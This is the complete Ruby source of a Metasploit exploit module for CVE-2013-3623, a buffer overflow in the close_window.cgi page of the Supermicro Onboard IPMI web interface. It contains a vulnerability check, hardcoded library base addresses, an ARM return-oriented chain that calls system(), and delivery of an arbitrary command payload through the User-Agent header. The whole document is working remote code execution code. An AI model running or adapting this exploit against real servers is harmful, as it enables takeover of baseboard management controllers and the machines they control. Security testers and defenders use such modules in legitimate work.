Supermicro Onboard IPMI close_window.cgi Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Supermicro Onboard IPMI close_window.cgi Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow on the Supermicro Onboard IPMI controller web  
interface. The vulnerability exists on the close_window.cgi CGI application, and is due  
to the insecure usage of strcpy. In order to get a session, the module will execute  
system() from libc with an arbitrary CMD payload sent on the User-Agent header. This  
module has been tested successfully on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware  
SMT_X9_214.  
},  
'Author' =>  
[  
'hdm', # Vulnerability Discovery and Metasploit module  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'Space' => 8000, # Payload sent on the user agent, long enough to fit any payload  
'DisableNops' => true,  
'BadChars' => (0x00..0x1f).to_a.pack("C*"), # not a big deal, we're working with ARCH_CMD payloads  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic openssl'  
}  
},  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'References' =>  
[  
[ 'CVE', '2013-3623' ],  
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]  
],  
'Targets' =>  
[  
[ 'Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214',  
{  
:callback => :target_smt_x9_214  
}  
]  
],  
'DisclosureDate' => 'Nov 06 2013',  
'DefaultTarget' => 0))  
  
end  
  
def send_close_window_request(sess, agent = rand_text_alpha(8))  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi/close_window.cgi",  
'agent' => rand_text_alpha(16) + agent,  
'encode_params' => false,  
'vars_post' => {  
'sess_sid' => sess  
}  
})  
  
return res  
end  
  
  
def check  
safe_check = rand_text_alpha(20)  
trigger_check = rand_text_alpha(132)  
  
res = send_close_window_request(safe_check)  
  
unless res and res.code == 200 and res.body.to_s =~ /Can't find action/  
return Exploit::CheckCode::Unknown  
end  
  
res = send_close_window_request(trigger_check)  
  
unless res and res.code == 500  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Vulnerable  
end  
  
def target_smt_x9_214  
base_crypt = 0x40074000 # libcrypto.so.0.9.8  
base_libc = 0x40554000 # libc-2.3.5.so  
  
buf = rand_text_alpha(68)  
buf << rand_text_alpha(4) # r10  
buf << rand_text_alpha(4) # r11  
buf << rand_text_alpha(4) # sp  
buf << [base_crypt + 0x39598].pack("V") # pc # mov pc, r4  
# 2nd stage  
buf << "\x68\xd0\x84\xe2" # add sp, r4, 104 # make sp point to controlled data in order to accomplish the "ret2system"  
offset = ssl ? 208 : 204 # when ssl there is an additional environment variable "HTTPS=on"  
buf << [offset].pack("C") + "\x50\x84\xe2" # add r5, r4, 204 # make r5 point to pointer to envp  
buf << "\x70\x40\xb5\xe8" # ldmfd r5!, {r4, r5, r6, ls} # store on r4 pointer to envp USER_AGENT pointer  
buf << "\x20\x40\x84\xe2" # add r4, r4, 32 # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment  
buf << "\x40\x80\xbd\xe8" # ldmfd sp!, {r6, pc}  
buf << rand_text_alpha(4) # R6  
buf << [ base_crypt + 0x3A8BC ].pack("V") # mov r0, r4; ldmfd sp!, {r4,pc} # store in r0 pointer to command  
buf << rand_text_alpha(4) # r4  
buf << [ base_libc + 0x3617c ].pack("V") # system at libc  
buf << rand_text_alpha(128-buf.length) # padding to reach memory which allows to control r4 when overflow occurs  
# 1st stage: adjust r4 and pc  
buf << "\x80\x40\x44\xe2" # sub r4, r4,-128 # make r4 point to the start of the buffer  
buf << "\x54\xf0\x84\xe2" # add pc, r4, 84 # give control to 2nd stage  
  
return buf  
end  
  
def exploit  
buffer = self.send(target[:callback])  
print_status("#{peer} - Sending exploit...")  
send_close_window_request(buffer, payload.encoded)  
end  
  
end  
`